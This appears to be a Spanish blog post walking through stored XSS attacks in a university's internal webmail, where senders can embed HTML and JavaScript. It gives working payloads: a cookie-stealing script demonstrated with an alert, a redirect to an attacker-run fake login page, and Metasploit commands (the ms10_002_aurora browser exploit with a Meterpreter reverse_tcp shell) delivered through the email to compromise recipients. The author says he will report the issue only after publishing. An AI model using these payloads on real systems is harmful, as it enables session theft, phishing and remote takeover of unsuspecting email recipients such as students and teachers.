Los peligros de un XSS Un Ejemplo Universitario.
Hay muchas ocasiones en las que por el
bien de los usuarios se les ofrecen funcionalidades sin llegar a caer en
la cuenta de que estas pueden acabar siendo un peligro para ellos.
Ha sido cuando leyendo este genial post de
@Kodeinfect llamado
Combinando ataques: XSS + Metasploit me ha venido a la cabeza escribir una entrada sobre una “curiosidad” que encontré recientemente en el
correo interno de la universidad, el cual
permite incrustar fragmentos de texto en html y javascript, he aquí el peligro.
Esto da al usuario la oportunidad de aplicar cierto formato al texto mediante html o javascript, pero tambien da a un atacante malintencionado la posibilidad de realizarataques mediante XSS, siendo la víctima el receptor del correo electrónico.
Vamos a ver tres ejemplos prácticos de ataques que podría llegar a realizar una “mala persona” o alguien aburrido:
El primero de estos es el robo de cookies, para ello basta con componer un mensaje y añadir el código javascript para que muestre la cookie, en este caso se utilizará un “alert” por comodidad:
Las únicas peculiaridades han sido habilitar la opción Toggle HTML Source y añadir el siguiente fragmento de código al cuerpo del mensaje:
<script language=”javascript” type=”text/javascript”>
alert(document.cookie);
</script>
Lo mas interesante de esto es que la victima no verá el código javascript ejecutado en el cuerpo del mensaje a no ser que escoja responder al mensaje y marque la opcion Toggle HTML Source.Otra opción interesante es redirigir a la victima a una ventana de login como si el usuario hubiera perdido la conexión por
un fallo del servidor, pero con la peculiaridad que esta está en un
servidor bajo nuestro control, para ello basta un pequeño fragmento de
codigo incrustado en el mensaje:
<script language=”javascript” type=”text/javascript”>
document.location=”direccion de nuestro servidor”;
</script>
Por último es posible hacer algo mucho mas peligroso como
lanzar exploits en la máquina del inocente receptor, para ello
Metasploit como en otras ocasiones será un gran aliado.
Se utiliza como
exploit ms10_002_aurora y como
payload una shell inversa:
use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
A continuación hay que configurar el el puerto y la ip a la que se ejecutara el exploit:
set SRVPORT 80
set LHOST 192.168.1.40
Y por último lanzarlo:
exploit
Una vez este listo Metasploit el contenido del correo es el siguiente:
<script language=”javascript” type=”text/javascript”>
document.location=”direccion de nuestro servidor”;
</script>
donde la información que acompaña a document.location nos la proporciona metasploit al iniciar el servidor.
ya solo queda esperar a que la víctima lea el correo para que Metasploit haga la magia:
La situación en la que el receptor abre el correo y es ejecutado de
forma transparente en su navegador un código javascript es muy
peligroso, mas que nada si el receptor no tiene conocimientos
informáticos o si este es un profesor y lo que el robo de sus datos
implicaría. Además el hecho de poder añadir al cuerpo del mensaje
cualquier texto permite realizar ataques de ingeniería social muy
peligrosos, ya que el receptor seguramente no prestará atención al
código javascript embebido puesto que este no se le mostrará.Como
aclaración respecto al contenido del post, informaré sobre esta
“vulnerabilidad” cuando el post sea publicado, aunque no la considero
así, ya que si el editor de mensajes aporta la la opción de añadir
fragmentos de html/javascript, considero esto más como una funcionalidad
extra que puede usarse “mal” que como una vulnerabilidad propiamente
dicha.
En fin, nos leemos en breve